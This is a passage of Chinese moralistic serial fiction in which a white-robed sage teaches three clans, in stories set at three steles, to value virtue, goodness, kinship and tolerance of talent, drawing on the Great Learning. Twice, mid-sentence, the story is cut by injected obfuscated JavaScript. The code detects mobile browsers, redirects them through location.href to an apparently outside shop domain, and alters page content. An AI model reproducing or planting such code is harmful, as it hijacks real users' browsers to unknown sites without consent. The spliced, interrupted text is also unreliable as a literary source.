恰此时，仓外饥民聚集，声如潮涌。金公面如死灰。来人道：“今有一法可解：开仓平粜，半价售粮，并以三成济孤贫。财散则民聚，公愿否？” 金公伏地泣，即开仓放粮，粮价复常。是夜，“德”字裂纹渐合。来人教“德本法”：以德为本，以财为末，财散于民，德聚于心。金氏自此行善，民颂“金善人”。 二、 悖入悖出谳（钱氏） 钱氏为钱庄之主，家主钱公。放贷取利，手段酷烈：借十还十五，逾期利滚利；以田地、房宅、子女为质，过期则夺。昨日，佃户王五借银十两医母，逾期三日，钱公夺其田，王母气绝，王五自缢。 来人引钱公至碑阴，背刻小字：“言悖而出者，亦悖而入。货悖而入者，亦悖而出。”字字如钉。钱公触之，指尖生寒。 “货悖而入者，亦悖而出。”来人问，“钱公之财，可有悖入？” 钱公嗫嚅：“皆…皆契约为凭…” “契约是凭，天理更是凭！”来人取借据一叠，皆印血手印，“借十还十五，是三分利；逾期利滚利，是七分利；夺田占房，是绝户计。此非取财，是夺命！” 又引至王五家，见破屋漏雨，老母停尸草席。问：“十两银，一条命，三亩田。公之财，可安稳否？” 钱公垂首。来人曰：“昔石崇斗富，金谷园成瓦砾；邓通铸钱，饿死野人家。货悖而入，必悖而出。公以绝户手段敛财，他日之出，恐不止倾家荡产。” 取钱公怀中银票，扬于风中：“此纸为凭，然天道为秤。悖入之财，如手中沙，握得愈紧，流得愈快。” 忽有债户聚于门外，哭骂不绝。钱公大惧。来人道：“今有一法可解：焚毁高利借据，偿夺田宅，抚恤亡者。悖入之财悖出，或可消弭祸殃。” 钱公泣，即焚借据三百余张，还田宅五十余处，设义冢葬无主尸。是夜，碑阴小字金光微现。来人教“悖出法”：不义之财不可取，已取必还。钱氏自此只行低利贷，民颂“钱仁义”。 三、 散聚谳（谷氏） 谷氏为世袭勋贵，家主谷公。奢靡无度：一席饭费百金，一袭衣值千银；筑“摘星楼”高十丈，金玉为饰。然城中多破屋，老弱无衣。昨日，谷公宴客，弃食百盘，门外乞丐争食馊水，遭仆役驱打。 来人引谷公至碑侧，见“财聚则民散，财散则民聚”十字，字字如血。谷公以袖拂之，袖染殷红。 “财聚则民散，财散则民聚。”来人问，“谷公之财，聚耶？散耶？” 谷公强笑：“吾…亦常施粥…” “日弃百盘食，月施一次粥。是散财，是沽名？”来人引至谷宅厨余所，见整鸡全鱼倒入泔水，门外乞丐眼如饿狼。“朱门酒肉臭，路有冻死骨。公读此诗，可心安否？” 又登摘星楼，但见金玉辉煌，俯视城中，茅屋如蚁。问：“楼高十丈，可摘星否？然低头看，民如蝼蚁。公居高楼，可闻蝼蚁啼饥？” 谷公赧然。来人叹：“有德此有人，有人此有土。公无德，则无人；无人，则无土；无土，此楼何依？他日楼塌，谁人为公埋骨？” 恰此时，楼角金铃无风自鸣，其声凄厉。谷公色变。来人道：“今有一法可解：拆金玉饰以济贫，减庖厨奢以施饭，以楼为义塾，教化子弟。财散于民，德聚于身。” 谷公从之，拆楼饰，设粥棚，改楼为“积德义塾”，聘名师教寒门子弟。是夜，碑上血字转金。来人教“散聚法”：财如流水，散之则润物，聚之则腐臭。谷氏自此尚俭，民颂“谷善人”。 四、 聚散会 三姓悔改，聚于聚散台。来人指碑全文： “是故君子先慎乎德。有德此有人，有人此有土，有土此有财，有财此有用。今三公重德轻财，是返本归原。” 金公问：“吾等已散财，然城中仍有富室吝啬，何以化之？” “以德化之。”来人召城民聚台下，令三公自述其过。 金公述囤积：“吾囤粮如山，而民饿于道，是无德。今开仓济贫，乃知有德此有人。” 钱公述盘剥：“吾放债夺命，货悖而入，是无德。今焚券还田，乃知悖入必悖出。” 谷公述奢靡：“吾奢靡无度，而民无衣，是无德。今散财设塾，乃知财散则民聚。” 城民闻之，欢声动地。有富户惭，有债主悔，有奢者羞。三月间，城中富室多行善举。 来人教“德本化民法”：择城中贤者，立“积德堂”，每月朔望，聚于台下，以“德本财末”相劝勉。又制“聚散榜”，彰善罚恶。 五、 悖出悖入谳 中秋，积金城办“德本祭”，三姓共主祭。忽有流寇来犯，声言“取不义之财”。城民欲抗，来人止之，召三姓家主并城中耆老，会于聚散台。 是日，祭典方启，主祭人正诵“货悖而入者，亦悖而出”，忽闻祭坛中央那尊青铜“德本鼎”发出“轰”然震鸣——鼎内本焚着香木，此刻青烟凝聚，竟自鼎腹中化出一道人形，踏烟凌虚，如谪仙临凡。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同舞。 “善哉！三公已悟德本之道。”来人朗声道，“是故言悖而出者，亦悖而入。今流寇以‘取不义之财’为名，是言悖而出；若城中财皆义财，其言自破。” 飞身而下，如白鹤栖松，点尘不惊。取木剑画地成策：“开城门，请寇首入，观我仓廪府库。若见粮平粜、债低利、财散民，彼必自惭。” 三公从之。寇首入城，见粮仓半空，问：“粮何在？”金公答：“半价粜民，三成济贫。”见钱庄无高利，问：“利几何？”钱公答：“月利三分，逾期不滚。”见摘星楼为义塾，问：“楼何用？”谷公答：“教化寒门子弟。”又见民皆拥护三姓， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有德此有人，有人此有土，有土此有财，有财此有用 - 德者本也，财者末也 - 外本内末，争民施夺 - 破解法：凡取财用财，自问“此财可悖入否？此用可悖德否？德为本，财为末，本末可倒置否？” 二、 聚散悖出三鉴 - 财聚则民散，财散则民聚 - 言悖而出者，亦悖而入 - 货悖而入者，亦悖而出 - 惕世：多少富户聚财如山，而众叛亲离？多少商人巧取豪夺，而家破人亡？多少豪奢挥金如土，而晚景凄凉？ - 三姓之鉴：金氏囤积，是聚财散民；钱氏盘剥，是悖入悖出；谷氏奢靡，是外本内末 三、 根本之道 - 深层隐喻：德如根，财如叶。根深则叶茂，根腐则叶枯 - 终极指向：治国平天下，在慎德。有德则有人，有人则有土，有土则有财，有财则有用。无德而求财，如无根之木，虽暂荣必枯 德本偈： 积金城里三姓偏，德本财末各倒颠。 金氏囤粮民饿死，财聚民散德不全。 钱氏盘剥夺人命，货悖而入悖出焉。 谷氏奢靡弃膏粱，外本内末争民愆。 三姓迷途不知返，聚散碑现血泪涟。 白衣点破德本理，碑前指醒梦中贤。 君子先慎乎德本，有德有人有土田。 有土有财方有用，德本财末不可迁。 财聚民散散民聚，言悖出入皆循环。 货悖而入悖必出，天理昭彰报不爽。 后世叹： 君子慎德为根本，有德有人有土财。 德本财末不可倒，外本内末争民灾。 财聚民散散民聚，言悖出入皆循环。 货悖而入悖必出，三姓当初皆倒颠。 聚散碑前血泪现，白衣指点德本原。 正是： 治国平天下慎德，有德有人有土财。 德者本也财者末，外本内末争民灾。 财聚则民散如沙，财散则民聚如城。 言悖而出悖而入，货悖而入悖出该。 三姓当初迷此理，聚散碑前指德本。 78.惟善谳 楔子·三宝碑 云梦泽畔有山城名“宝璋邑”，城中有“三宝台”，台上立“三宝碑”，碑分三面，分镌三训：东面“惟命不于常”摘自《康诰》，字迹刚劲如刀劈斧削；南面“楚国无以为宝，惟善以为宝”出自《楚书》，字体雍容如圭璋；西面“亡人无以为宝，仁亲以为宝”乃舅犯之语，笔意苍凉如流放。相传乃前代三位异人分刻，百年风雨，碑面斑驳。 邑中三大族：钟离氏恃兵强马壮，视“天命无常”为强者恒强之据；屈氏富可敌国，藏金玉珠翠无数，自矜“楚国无以为宝”乃虚言；申屠氏乃前朝公卿之后，流亡至此，却鄙薄亲情，以“亡人无以为宝”自嘲而自弃。三族皆恃所“宝”，然所宝皆非善道，邑中暗流汹涌。 是年白露，三宝碑忽生异象：“惟命不于常”五字渗血如泪；“惟善以为宝”五字蒙尘如雾；“仁亲以为宝”五字裂纹如枯枝。三姓家主观碑，各怀忐忑。 八月十五，中秋夜，邑中演“楚宫宴”古剧。正演至“和氏献璧”一节，忽闻台上那尊作为道具的“和氏璧”（实为汉白玉仿制）发出“铮”然清响——玉璧竟自中裂为三块，一人自玉璧裂缝中踏光而出，如明月化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清冷如秋水；着一身云纹素罗深衣，衣摆以银丝绣着三件古器：东面玄圭，南面玉璧，西面铜镜，暗合“三宝”之意。外罩一件无袖素纱氅衣，氅角缀三枚玉珩，珩珩相叠寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如古木年轮，隐现岁月沧桑。足踏素锦步月履，履尖微翘，不染尘埃。 身形颀长，立于裂玉之侧，帷笠轻纱与月光同辉，竟似从玉魄中化出的精灵。台下观者屏息，分不清是戏是真。 来人以木剑轻点三块裂玉，声如击磬： “道善则得之，不善则失之矣！” 又点： “惟善以为宝！” 再点： “仁亲以为宝！” 诵罢，木剑遥指三宝碑：“三姓家主，可愿登台观碑？” 钟离、屈、申屠三公相顾愕然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘宝训’公案，可请三公分观。观毕，再论得失。” 一、 天命无常谳（钟离氏） 钟离氏为将门之后，家主钟离公，掌邑兵五百，弓马娴熟。恃强凌弱，常言“天命无常，强者为尊”。去岁兼并小族田产，逼死三条人命；今春强征民女为婢，致父女投河。邑民敢怒不敢言。 来人引钟离公至“惟命不于常”碑前。五字渗血，以指触之，温热如泪。钟离公蹙眉。 “惟命不于常。道善则得之，不善则失之矣。”来人问，“钟离公以何为命？” 钟离公按剑傲然：“强者为命！” “善哉！强者为命。”来人指向城外荒冢，“然彼三座新坟，生前亦恃强凌弱，今安在哉？天命无常，不独于国，亦在于人。恃强凌弱，是善？是不善？” 钟离公语塞。来人又引至钟离氏演武场，见兵器森然，然场边跪着三户被夺田者，衣不蔽体。问：“公之强，可强于天理？道善则得，不善则失。公以不善得田，他日可保否？” 取壁上强弓，引而不发：“弓强易折，势强易倾。昔霸王项羽，力能扛鼎，终刎乌江。公之强，可比霸王？” 钟离公汗出。来人叹：“《康诰》此语，本意警醒：天命不常佑一人，惟德是辅。公恃强而不修德，是逆天而行，岂能长久？” 恰此时，场边旗杆“咔嚓”断裂，大旗委地。钟离公色变。来人道：“今有一法可解：还田于民，释婢归家，抚恤亡者。以善得众，以德固强。” 钟离公沉吟良久，掷剑于地，即还田释婢，设“抚孤堂”。是夜，“惟命不于常”五字血渍渐淡。来人教“天命法”：天命无常，惟德是依。钟离氏自此以德治兵，民颂“钟离义师”。 二、 惟善为宝谳（屈氏） 屈氏为商贾巨富，家主屈公。藏宝无数：东海明珠、西域美玉、南疆犀角、北漠貂裘。然吝啬成性，见灾不赈，遇贫不济。昨日，有饥民乞食，屈公命仆驱赶，饥民夺路撞阶而亡。屈公抚掌笑曰：“贱命一条，不及吾阶前石。” 来人引屈公至“惟善以为宝”碑前。五字蒙尘，以袖拂之，尘埃飞扬，迷眼呛喉。屈公掩面。 “楚国无以为宝，惟善以为宝。”来人问，“屈公以何为宝？” 屈公昂首：“吾藏尽天下奇珍！” “善哉！奇珍为宝。”来人引至屈氏宝库，但见珠光宝气，耀眼夺目。问：“此珠可疗饥否？此玉可御寒否？此犀角可活人命否？” 屈公赧然。来人叹：“昔楚王不以白珩为宝，而以善为宝，故楚国强盛。今公藏宝如山，而邑有饿殍，是有宝，是无宝？《楚书》此训，公可记得？” 又引至阶前，血迹未干。问：“此石为宝，人命非宝？公以石为宝，他日石可为公挡灾乎？” 取明珠一颗，掷于地，应声而碎：“珠玉饥不可食，寒不可衣。惟善之宝，饥可食人，寒可衣人，危可救人。公藏碎玉，而弃活宝，愚乎？” 屈公面赤。来人曰：“道善则得之，不善则失之。公以不善守财，他日财必失于不善。何不化珠玉为粥米，活人无数，积善为宝？” 恰此时，宝库梁柱“吱呀”作响，尘埃簌落。屈公惧。来人道：“今有一法可解：散宝济贫，以三成宝货设“善宝仓”，平粜赈灾。化无用之珍，为有用之善。” 屈公从之，尽散珍玩，设仓施粥。是夜，“惟善以为宝”五字尘去光生。来人教“善宝法”：善为至宝，一生用之不尽。屈氏自此乐善好施，民颂“屈善人”。 三、 仁亲为宝谳（申屠氏） 申屠氏乃前朝公卿之后，流亡至此已三代。家主申屠公，常以“亡人之后”自居，愤世嫉俗，薄情寡义：族中孤寡不恤，亲子严苛如仇。昨日，其叔病笃求见，申屠公拒之门外，叔含恨而逝；其子背书有误，申屠公鞭笞三十，子夜半出走。 来人引申屠公至“仁亲以为宝”碑前。五字裂纹，以手抚之，触之如冰。申屠公缩手。 “亡人无以为宝，仁亲以为宝。”来人问，“申屠公以何为宝？” 申屠公冷笑：“吾家已亡，何宝之有？” “善哉！亡人之后，更当以仁亲为宝。”来人取申屠氏族谱，指其祖训：“申屠氏第三十七代祖训：流离不忘仁，困顿不弃亲。公可记得？” 申屠公默然。来人叹：“舅犯随重耳流亡，言‘亡人无以为宝，仁亲以为宝’，故能得国。今公流亡三世，不正应以仁亲为宝，凝聚族人，以期复兴？奈何自弃如此！” 又引至其叔灵前，棺木简陋，香火冷清。问：“公为侄，不恤叔；为父，不爱子。无仁无亲，何以立足？纵有万金，谁与共守？” 申屠公垂首。来人曰：“道善则得之。公不行仁亲，是自绝于善，何以得众？他日公若危难，谁肯援手？” 恰此时，灵前白烛无风自灭。申屠公颤。来人道：“今有一法可解：厚葬其叔，寻回其子，以仁亲聚族。亡人之宝，正在仁亲。” 申屠公泣，即厚葬叔父，亲寻其子，设“仁亲堂”抚恤族中孤寡。是夜，“仁亲以为宝”五字裂纹渐合。来人教“仁亲法”：仁以爱人，亲以睦族。仁亲在，虽亡犹存。申屠氏自此和睦，民颂“申屠仁门”。 四、 三宝会 三姓悔改，聚于三宝台。来人指碑全文： “惟命不于常，道善则得之，不善则失之。今三公各得其宝：钟离公得‘德强’之宝，屈公得‘善财’之宝，申屠公得‘仁亲’之宝。得宝则得众，得众则得邑。” 钟离公问：“吾等已改，然邑中仍有豪强凌弱、富者吝啬、孤寡无依，何以化之？” “以三宝化之。”来人召邑民聚台下，令三公自述其过。 钟离公述恃强：“吾恃强凌弱，逆天失德。今知天命无常，惟德是依。愿以德强邑。” 屈公述吝财：“吾藏宝弃善，本末倒置。今知惟善为宝，愿散财积善。” 申屠公述薄情：“吾薄情寡义，自绝仁亲。今知仁亲为宝，愿以仁亲聚族。” 邑民闻之，多有感泣。有豪强惭，有富者悔，有薄情者羞。三月间，邑风大变。 来人教“三宝化民法”：择邑中贤者，立“三宝堂”，每月朔望，聚于台下，以“惟善为宝”相劝勉。又制“三宝牌”，彰显善行。 五、 得失谳 重阳，宝璋邑办“三宝祭”，三姓共主祭。忽有流寇大军压境，号称“取宝屠城”。邑民惧，欲弃城。来人止之，召三姓家主并邑中耆老，会于三宝台。 是日，祭典方启，主祭人正诵“惟善以为宝”，忽闻祭坛中央那尊青铜“三宝鼎”发出“轰”然震鸣——鼎内本焚着香木，此刻青烟凝聚，竟自鼎腹中化出一道人形，踏烟凌虚，如仙临凡。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同舞。 “善哉！三公已得三宝之要。”来人朗声道，“道善则得之，不善则失之。今流寇来取‘宝’，当示以何宝？” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“开城门，请寇首入，观我三宝。一观钟离氏德兵，二观屈氏善仓，三观申屠氏仁亲。彼若见宝不取，是义寇；若取，是贼寇，天必诛之。” 三公从之。寇首入城，见钟离氏兵强而民拥，问：“兵何强？”钟离公答：“以德强兵，故民拥戴。”见屈氏仓廪半空，问：“财何寡？”屈公答：“散财济贫，以善为宝。”见申屠氏族睦，问：“族何和？”申屠公答：“仁亲为宝，故族和睦。”又见邑民同心，寇首叹：“吾等本为取金玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102485|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之宝，今见德、善、仁亲三宝，不敢犯也。”遂退兵五十里，遣使谢罪，愿结盟好。 邑中文士叹曰：“昔三公各恃其宝，而邑危如累卵；今三公各得其宝，而邑固若金汤。此谓‘道善则得之’也！” 来人登台顶，临风而立，诵三训全文，声清越如磬。诵罢，谓众曰：“惟命不于常，天命惟德是亲。楚国无以为宝，惟善以为宝。亡人无以为宝，仁亲以为宝。三宝在心，天命在德，何惧之有？” 钟离公拜问：“先生将去，何以长保此宝？” 来人指心：“宝在汝心，何需外求？但时时自问：所行可善？所存可善？所亲可仁？若是，则三宝俱足矣。” 言毕，纵身跃上三宝碑顶，足尖一点“善”字，身形如白虹贯月，没入云中。众人仰观，唯见碑文光华流转，三宝粲然。 尾声三宝谣 十年后，宝璋邑更名“三宝城”。三姓互通婚姻，无分贵贱。城中设“三宝塾”，童蒙入学，先诵三训。有游学士子过境，见城中“路不拾遗，夜不闭户，强弱相扶，贫富相济”，问：“此城何治若此？” 老者答：“以三宝为宝。” “何谓三宝？” 童子诵《三宝谣》： “治国平天下在宝， 三宝训诲要记牢。 惟命不于常无常， 道善则得恶则消。 楚国无以为宝训， 惟善为宝是圭臬。 亡人无以为宝诚， 仁亲为宝是箴谣。 钟离恃强天命改， 屈氏藏宝善为要。 申屠薄情仁亲宝， 三姓迷途各倒颠。 白衣点破三宝理， 碑前指醒梦中贤。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子读诗书，可知何者为宝？天命无常，惟德是辅；楚国无宝，惟善是宝；亡人无宝，仁亲是宝。子可宝之？” 士子惊寤，汗透重衣。翌日，焚却功名心，游学四方，传扬三宝。后成一代大儒，门人遍天下。 城中三宝碑，后人建“三宝阁”护之，阁悬联：“惟命无常惟德辅，楚国无宝惟善宝”。有迷途者临碑，碑面自现宝训。人传：“此乃白衣仙人所留三宝鉴也。” 本章诫世 一、 三宝之训 - 惟命不于常，道善则得之，不善则失之（天命无常，惟德是依） - 楚国无以为宝，惟善以为宝（善为至宝） - 亡人无以为宝，仁亲以为宝（仁亲为宝） - 破解法：处世立身，自问“吾以何为宝？” 以力为宝？以财为宝？以身为宝？抑或以德为宝，以善为宝，以仁亲为宝？ 二、 三姓三迷 - 钟离氏迷于“力宝”——恃强凌弱，不知天命无常，惟德是辅 - 屈氏迷于“财宝”——藏金玉珠翠，不知惟善为宝 - 申屠氏迷于“身宝”——自怜自弃，不知仁亲为宝 - 惕世：多少人恃强凌弱，而不知盛极必衰？多少人聚敛财富，而不知善乃真宝？多少人薄情寡义，而不知仁亲可贵？ 三、 得失常理 - 道善则得之，不善则失之 - 深层隐喻：得与失，不在外物，而在德行。行善则得人心，得人心则得一切；行恶则失人心，失人心则失所有 - 终极指向：治国平天下，在得人心；得人心，在行善道；行善道，在宝善德。三宝俱足，天命自归 三宝偈： 宝璋邑里三姓偏，各迷其宝失本原。 钟离恃强凌弱小，天命无常德不研。 屈氏藏宝如山海，惟善为宝抛一边。 申屠薄情弃仁亲，亡人无宝自弃怜。 三姓迷途不知返，三宝碑现血泪涟。 白衣点破三宝理，碑前指醒梦中贤。 惟命不于常无常，道善则得恶则迁。 楚国无宝惟善宝，仁亲为宝亡人箴。 三宝在心天命归，何须外求金玉珍。 后世叹： 惟命不于常无常，道善则得恶则亡。 楚国无以为宝训，惟善为宝是圭璋。 亡人无以为宝诚，仁亲为宝是箴方。 三姓当初迷此理，各持伪宝失本纲。 三宝碑前现异象，白衣指点宝中王。 正是： 治国平天下在宝，三宝训诲要记详。 惟命不于常无常，道善则得恶则亡。 楚国无以为宝训，惟善为宝是圭璋。 亡人无以为宝诚，仁亲为宝是箴方。 钟离恃强天命改，屈氏藏宝善为纲。 申屠薄情仁亲宝，三姓迷途各倒颠。 白衣点破三宝理，三宝碑前指玄章。 79.容贤谳 楔子·容贤碑 巴蜀有山城名“容州邑”，城南“聚贤台”上立“容贤碑”，碑镌《秦誓》名章：“若有一个臣，断断兮，无他技，其心休休焉，其如有容焉…人之有技，媢疾以恶之…实不能容。”字如刀刻，相传为前朝贤相辞官前所立，百年风雨，字迹苍劲。 邑中三大家族：上官氏掌邑政，家主上官公，看似宽厚，实则嫉贤妒能，凡有才者皆打压；司马氏掌文教，家主司马公，自称“好贤”，然见贤不举，举而不能先；欧阳氏掌刑名，家主欧阳公，性情骄泰，好人之所恶，恶人之所好。三族各执一端，邑中贤才埋没，宵小当道。 是年小满，容贤碑忽生异象：“实能容之”四字生青苔，绿意盎然；“实不能容”四字龟裂如怒目；“拂人之性”四字渗血如泪。三姓家主观碑，各怀鬼胎。 五月五，端午日，邑中演“招贤”古剧。正演至“周公吐哺”一节，忽闻台上那面作为道具的“招贤鼓”发出“咚”然巨响——鼓面竟自中破开，一人自鼓中踏声而出，如清音化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清冷如深潭；着一身云纹素罗深衣，衣摆以银丝绣着三幅图景：左为“吐哺握发”，中为“萧何追信”，右为“管鲍分金”，暗合“容贤”之意。外罩一件无袖素纱氅衣，氅角缀三枚玉璧，璧璧相叠寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如古琴断纹，隐现清音雅韵。足踏素锦登云履，履尖微翘，不染尘埃。 身形清癯，立于破鼓之侧，帷笠轻纱与鼓声余波同荡，竟似从招贤令中化出的精魄。台下观者瞠目，分不清是戏是幻。 来人以木剑轻点破鼓，声如鸣玉： “人之有技，若己有之！” 又点： “人之彦圣，其心好之！” 再点： “实能容之！” 诵罢，木剑遥指容贤碑：“三姓家主，可愿登台观碑？” 上官、司马、欧阳三公相顾色变。来人飘然下台，衣袂如流云舒卷：“某有三桩‘容贤’公案，可请三公分观。观毕，再论得失。” 一、 媢疾谳（上官氏） 上官氏世掌邑政，家主上官公。表面宽厚，实则心胸狭隘，凡见才干胜己者，必暗中打压。邑中贤士柳生，有经世之才，献《治水策》，上官公窃其策而不用其人，反诬其“狂妄”，柳生郁郁而终。又有巧匠鲁氏，善治器械，上官公夺其发明而黜其名，鲁氏含恨离邑。 来人引上官公至“实不能容”四字前。裂纹如怒目，以指触之，指尖生痛。上官公缩手。 “人之有技，媢疾以恶之。人之彦圣，而违之俾不通，实不能容。”来人问，“上官公可容贤否？” 上官公强笑：“吾…求贤若渴…” “渴而饮鸩，是渴，是愚？”来人取出两份文稿，一为柳生《治水策》原稿，一为上官公窃改后伪作。“此策可解邑中水患，公不用其人，反窃其策。是容贤，是嫉贤？” 上官公汗出。来人又引至鲁氏旧居，但见蛛网满室，壁上留字：“怀璧其罪，抱恨终天”。问：“公夺其技，黜其名，是爱才，是害才？《秦誓》云‘以不能保我子孙黎民、亦曰殆哉’，公为邑宰，不能容贤，何以保民？” 上官公赧然。来人叹：“断断兮，无他技，其心休休焉，其如有容焉。公位高权重，当有容人之量。今媢疾贤能，是自毁股肱。股肱毁，何以行？” 恰此时，堂前匾额“明镜高悬”轰然坠落，镜面尽碎。上官公骇。来人道：“今有一法可解：追封柳生，厚恤其家；寻回鲁氏，以礼相聘。开‘招贤馆’，凡有才者，必举用之。” 上官公从之，即行三事。是夜，“实不能容”四字裂纹渐合。来人教“容贤法”：人之有技，若己有之；人之彦圣，其心好之。上官氏自此开明，邑中贤才云集。 二、 命过谳（司马氏） 司马氏掌文教，家主司马公。自诩“伯乐”，然见贤而不能举，举而不能先。邑中寒士韩生，才华冠绝，三试皆魁，司马公恐其位过己，压其名次，使居末榜。又有才女文姬，诗赋绝伦，司马公以“女子无才便是德”阻其进学，文姬愤而毁稿。 来人引司马公至“实能容之”四字前。青苔鲜绿，以手拂之，苔痕入手，洗之不脱。司马公蹙眉。 “见贤而不能举，举而不能先，命也。见不善而不能退，退而不能远，过也。”来人问，“司马公可举贤否？” 司马公嗫嚅：“吾…举贤不避亲…” “亲而不贤，是举亲，是蔽贤？”来人取三试榜单，韩生本应魁首，反列末位。“韩生之才，公不知否？知之而不举，是过；举而不能先，是命薄。然此命非天命，乃公之私心作祟！” 又取文姬残稿，字字珠玑：“女子有才，便是有德。公以陈腐之见，埋没才女，是误人，是误邑？邑中少一才女，与公何益？与邑何益？” 司马公面赤。来人曰：“唯仁人为能爱人，能恶人。公不能爱贤，是谓不仁；不能恶不肖，是谓不智。不仁不智，何以掌文教？” 恰此时，案头“文曲星”木雕无故开裂。司马公惧。来人道：“今有一法可解：重定榜单，韩生为魁；设女学，聘文姬为师。凡有才者，不论男女，必举而先之。” 司马公从之，即开女学，重定科名。是夜，“实能容之”四字青苔转润。来人教“举贤法”：见贤能举，举而能先；见不善能退，退而能远。司马氏自此公正，邑中文风大盛。 三、 拂性谳（欧阳氏） 欧阳氏掌刑名，家主欧阳公。性情骄泰，好人之所恶，恶人之所好。邑中义士武生，好打抱不平，欧阳公恶其“多事”，屡加刁难；奸商贾五，盘剥乡里，欧阳公喜其“孝敬”，多方袒护。昨日，武生擒贼送官，欧阳公反诬其“私刑”，杖责二十；贾五强占民田，欧阳公判“田归原主”，却暗许贾五“补价”了事。 来人引欧阳公至“拂人之性”四字前。血泪犹湿，以袖拭之，袖染殷红。欧阳公骇。 “好人之所恶，恶人之所好，是谓拂人之性，灾必逮夫身。”来人问，“欧阳公好恶，可同于民？” 欧阳公强道：“吾…依法而断…” “法是公器，然公心偏私。”来人取两案卷宗：武生擒贼，贼证物证俱在，反受杖责；贾五占田，苦主血书累累，反得“合法”。“公好奸商之贿，恶义士之直，是拂民之性。民好公正，公偏不公；民恶贪腐，公偏不恶。长此以往，灾必逮身！” 又引至公堂，见“明镜高悬”匾下，跪满喊冤者。问：“公堂本为申冤，今成造冤之地。公掌刑名，是护法，是坏法？” 欧阳公颤。来人叹：“是故君子有大道：必忠信以得之，骄泰以失之。公以骄泰断案，失忠失信，何以得民？” 恰此时，公堂惊堂木无故崩裂。欧阳公色变。来人道：“今有一法可解：重审旧案，武生褒奖，贾五严惩。设‘公议堂’，凡大案，必听民意。” 欧阳公从之，即翻旧案，惩奸奖善。是夜，“拂人之性”四字血渍渐淡。来人教“好恶法”：好民所好，恶民所恶，是谓同民。欧阳氏自此公正，邑中颂“欧阳青天”。 四、 容贤会 三姓悔改，聚于聚贤台。来人指碑全文： “唯仁人放流之，迸诸四夷，不与同中国。此谓唯仁人为能爱人，能恶人。今三公能爱人，能恶人，是近仁矣。” 上官公问：“吾等已改，然邑中仍有嫉贤、蔽贤、拂性之事，何以化之？” “以容贤化之。”来人召邑民聚台下，令三公自述其过。 上官公述媢疾：“吾嫉贤妒能，实不能容。今知人之有技，若己有之。愿开招贤馆，广纳贤才。” 司马公述命过：“吾见贤不举，举而不先。今知见贤能举，举而能先。愿开女学，唯才是举。” 欧阳公述拂性：“吾好恶拂民，骄泰失道。今知好民所好，恶民所恶。愿设公议堂，听民断案。” 邑民闻之，欢声雷动。有嫉贤者惭，有蔽贤者悔，有拂性者羞。三月间，邑中风清气正。 来人教“容贤化民法”：择邑中贤者，立“容贤堂”，每月朔望，聚于台下，以“容贤举能”相劝勉。又制“容贤榜”，彰举贤者。 五、 得失道谳 重阳，容州邑办“容贤祭”，三姓共主祭。忽有外敌来犯，声言“踏平容州，尽虏贤才”。邑民惊，欲弃城。来人止之，召三姓家主并邑中耆老，会于聚贤台。 是日，祭典方启，主祭人正诵“实能容之”，忽闻祭坛中央那尊青铜“容贤鼎”发出“嗡”然长鸣——鼎内本焚着香木，此刻青烟凝聚，竟自鼎腹中化出一道人形，踏烟凌虚，如谪仙临凡。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同舞。 “善哉！三公已得容贤之要。”来人朗声道，“是故君子有大道：必忠信以得之，骄泰以失之。今外敌来犯，是彼骄泰；我以忠信容贤，何惧之有？” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“敌欲虏贤，是因彼处无贤。我处贤才济济，何不示之以威？柳生治水，可水淹敌营；鲁氏器械，可守城如铁；韩生文才，可撰檄文；文姬诗赋，可鼓士气；武生勇武，可率民壮。贤才各用其能，敌必退。” 三公从之。柳生开闸放水，淹敌粮道；鲁氏造连弩，射敌先锋；韩生撰《讨逆檄》，文采飞扬；文姬作《保城赋》，全城传唱；武生率民壮夜袭，斩敌枭首。外敌溃退，叹曰：“容州贤才如此，不可图也。” 邑中文士叹曰：“昔三公不能容贤，贤才埋没，邑弱民贫；今三公能容贤，贤才尽用，邑富民强。此谓‘忠信以得之’也！” 来人登台顶，临风而立，诵《秦誓》全文，声清越如钟。诵罢，谓众曰：“若有一个臣，断断 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好恶拂性灾逮身， 君子忠信得泰骄。 上官媢疾不能容， 司马蔽贤命过愆。 欧阳拂性骄泰失， 三姓迷途各倒颠。 白衣点破容贤理， 碑前指醒梦中贤。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为官，可容贤否？人之有技，若己有之否？人之彦圣，其心好之否？见贤能举，举而能先否？见不善能退，退而能远否？好恶同民否？若然，则为仁人矣。” 士子惊寤，汗透重衣。翌日，焚却门户之见，广交寒士，后为相十年，门生故吏遍天下，皆称“容贤宰相”。 城中容贤碑，后人建“容贤阁”护之，阁悬联：“断断休休有容乃大，彦圣技能力举能先”。有嫉贤者临碑，碑面自现警语。人传：“此乃白衣仙人所留容贤鉴也。” 本章诫世 一、 